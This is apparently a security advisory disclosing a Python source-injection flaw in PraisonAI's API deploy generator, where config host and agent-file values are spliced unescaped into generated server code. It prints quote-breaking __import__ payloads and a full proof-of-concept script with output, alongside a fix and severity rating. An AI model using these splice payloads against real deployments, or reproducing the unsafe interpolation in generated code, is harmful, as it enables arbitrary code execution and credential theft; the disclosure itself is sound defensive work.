| Package | Affected versions | Patched versions |
|---|---|---|
| praisonai | < 4.6.78 | 4.6.78 |
PraisonAI's API deployment generator copies deploy.api.host from agents.yaml directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds agents_file directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled.
The vulnerable path starts with deployment configuration parsing. Deploy.from_yaml() reads the operator-supplied agents.yaml, validate_agents_yaml() accepts deploy.api.host as a string, and API deployments call start_api_server(self.agents_file, self.config.api). start_api_server() calls generate_api_server_code() and executes the generated Python file with python.
The current generator in src/praisonai/praisonai/deploy/api.py treats deployment data as Python syntax:
def generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -> str:
...
code = f'''"""
...
praisonai = PraisonAI(agent_file="{agents_file}")
...
"agent_file": "{agents_file}"
...
app.run(
host='{config.host}',
port={config.port},
debug={config.reload}
)
'''
The violated invariant is that deployment configuration values should remain inert strings. Instead, config.host is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression:
' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '
The generated startup code then becomes equivalent to:
app.run(
host='' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '',
port=8005,
debug=False,
)
That expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator.
agents_file has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as " + (<side effect> and "") + " remains valid both in and in the JSON response expression, so it executes when the generated handler evaluates that value.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freePraisonAI(agent_file=...)/agentsThe following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as __main__; it also includes a safe-host negative control and the secondary agents_file route-time interpolation check.
from pathlib import Path
import json
import sys
import tempfile
import types
import yaml
def install_stubs():
class FakeApp:
def __init__(self, name):
self.name = name
def route(self, *args, **kwargs):
def deco(func):
return func
return deco
def run(self, *args, **kwargs):
return None
flask = types.ModuleType("flask")
flask.Flask = FakeApp
flask.request = types.SimpleNamespace(headers={}, get_json=lambda: {"message": "hello"})
flask.jsonify = lambda obj: obj
sys.modules["flask"] = flask
flask_cors = types.ModuleType("flask_cors")
flask_cors.CORS = lambda app: app
sys.modules["flask_cors"] = flask_cors
praisonai_mod = types.ModuleType("praisonai")
class FakePraisonAI:
def __init__(self, agent_file):
self.agent_file = agent_file
def run(self):
return "ok"
praisonai_mod.PraisonAI = FakePraisonAI
sys.modules["praisonai"] = praisonai_mod
def main(repo):
sys.path.insert(0, str(Path(repo) / "src" / "praisonai"))
from praisonai.deploy.api import generate_api_server_code
from praisonai.deploy.models import APIConfig
from praisonai.deploy.schema import validate_agents_yaml
install_stubs()
with tempfile.TemporaryDirectory() as tmp:
tmp_path = Path(tmp)
host_marker = tmp_path / "host-marker.txt"
file_marker = tmp_path / "agent-file-marker.txt"
host_payload = "' + (__import__(\"pathlib\").Path(" + repr(str(host_marker)) + ").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + '"
agents_yaml = tmp_path / "agents.yaml"
agents_yaml.write_text(yaml.safe_dump({
"deploy": {
"type": "api",
"api": {"host": host_payload, "port": 8005, "auth_enabled": False},
},
"agents": [{"name": "demo", "role": "demo", "goal": "demo"}],
}))
parsed_config = validate_agents_yaml(str(agents_yaml))
results = []
for label, config in [
("safe_host", APIConfig(host="127.0.0.1", auth_enabled=False)),
("malicious_host_from_yaml", parsed_config.api),
]:
host_marker.unlink(missing_ok=True)
code = generate_api_server_code("agents.yaml", config)
compile(code, f"<generated-{label}>", "exec")
exec(code, {"__name__": "__main__"})
results.append({
"case": label,
"compiled": True,
"host_preserved_by_yaml_parser": config.host == host_payload if label.startswith("malicious") else None,
"marker_exists_after_startup": host_marker.exists(),
"marker_contents": host_marker.read_text() if host_marker.exists() else None,
"generated_contains_raw_host": config.host in code,
})
file_payload = "\" + (__import__(\"pathlib\").Path(" + repr(str(file_marker)) + ").write_text(\"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\") and \"\") + \""
file_marker.unlink(missing_ok=True)
code = generate_api_server_code(file_payload, APIConfig(host="127.0.0.1", auth_enabled=False))
compile(code, "<generated-agent-file>", "exec")
namespace = {"__name__": "generated_agent_file"}
exec(code, namespace)
namespace["list_agents"]()
results.append({
"case": "malicious_agent_file_route_value",
"compiled": True,
"marker_exists_after_list_agents": file_marker.exists(),
"marker_contents": file_marker.read_text() if file_marker.exists() else None,
"generated_contains_raw_agent_file": file_payload in code,
})
print(json.dumps(results, indent=2))
return 0 if results[1]["marker_exists_after_startup"] and results[2]["marker_exists_after_list_agents"] else 1
if __name__ == "__main__":
raise SystemExit(main(sys.argv[1] if len(sys.argv) > 1 else "."))
Command used against current source:
uv run --with pydantic --with pyyaml python pov_deploy_api_config_injection.py /path/to/PraisonAI
Decisive output:
[
{
"case": "safe_host",
"compiled": true,
"host_preserved_by_yaml_parser": null,
"marker_exists_after_startup": false,
"marker_contents": null,
"generated_contains_raw_host": true
},
{
"case": "malicious_host_from_yaml",
"compiled": true,
"host_preserved_by_yaml_parser": true,
"marker_exists_after_startup": true,
"marker_contents": "DEPLOY_API_HOST_CODE_EXECUTED",
"generated_contains_raw_host": true
},
{
"case": "malicious_agent_file_route_value",
"compiled": true,
"marker_exists_after_list_agents": true,
"marker_contents": "DEPLOY_API_AGENT_FILE_CODE_EXECUTED",
"generated_contains_raw_agent_file": true
}
]
The safe_host negative control compiles and evaluates the generated module without a marker side effect. The malicious_host_from_yaml case proves the YAML parser preserved the malicious host as a config string and the generated server executed it at startup. The malicious_agent_file_route_value case proves the secondary file-path interpolation executes when the generated /agents handler evaluates the generated response.
If an operator deploys a malicious PraisonAI project configuration, arbitrary Python can execute in the deploy process when the generated API server starts. That process can access the operator's environment, source tree, local files, model/API credentials, and deployment credentials. This is a project-configuration supply-chain issue rather than an unauthenticated remote endpoint: the security boundary is that deployment config values should stay data and not become executable Python source.
Do not interpolate deployment values directly into generated Python source. Use repr() or json.dumps() for every generated Python literal, or load runtime values from a JSON sidecar, environment variable, or command-line argument instead of embedding them into source. For the current generator, replace host='{config.host}' with a safely encoded literal such as host={config.host!r}, and apply the same safe encoding to agents_file in both generated sites. Add regression tests with host and agent-file values containing quotes, newlines, and expression-splice strings; the generated source should compile and treat those values as inert strings.
Package: praisonai
Confirmed current head: 1620b49f36945d8cc8ee5635b906c960df5097a0
Static sweep:
| Target | Result |
|---|---|
v4.5.128 | affected; raw agents_file and config.host interpolation present |
v4.6.58 | affected; raw agents_file and config.host interpolation present |
v4.6.59 | affected; raw agents_file and config.host interpolation present |
v4.6.60 | affected; raw agents_file and config.host interpolation present |
v4.6.62 | affected; raw agents_file and config.host interpolation present |
v4.6.63 | affected; raw agents_file and config.host interpolation present |
current 1620b49f | affected; raw agents_file and config.host interpolation present |
Suggested severity: High
Suggested CVSS v3.1:
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Suggested CWEs:
The closest same-generator comparator is GHSA-8444-4fhq-fxpq, "PraisonAI deploy --type api emits a Flask server with authentication disabled by default." That advisory concerns the security posture of the generated Flask API server: missing authentication by default. This report is different: authentication can be enabled or disabled and the issue still exists because generate_api_server_code() emits deployment strings as Python syntax. The exploit primitive is generated-source injection from deploy.api.host and agents_file, not unauthenticated request access to the generated API.
This is also distinct from GHSA-6rmh-7xcm-cpxj / CVE-2026-44338, which addressed a legacy generated API server authentication issue. Both authentication advisories are useful context because they involve generated API server deployment, but neither covers unsafe literal encoding or Python expression injection in generate_api_server_code().
AgentOS, AgentTeam, A2U, MCP, and recipe-server authentication bypass reports are separate server-surface issues. Their root cause is missing request authentication or bind-policy enforcement, while this report's root cause is unsafe code generation before the server handles traffic.
src/praisonai/praisonai/deploy/api.py: generate_api_server_code() and start_api_server()src/praisonai/praisonai/deploy/main.py: Deploy.from_yaml() and API/Docker deployment pathssrc/praisonai/praisonai/cli/features/deploy.py: CLI deployment handlerGHSA-8444-4fhq-fxpq: prior praisonai deploy --type api generated API server authentication-default issueGHSA-6rmh-7xcm-cpxj / CVE-2026-44338: prior generated API server authentication issue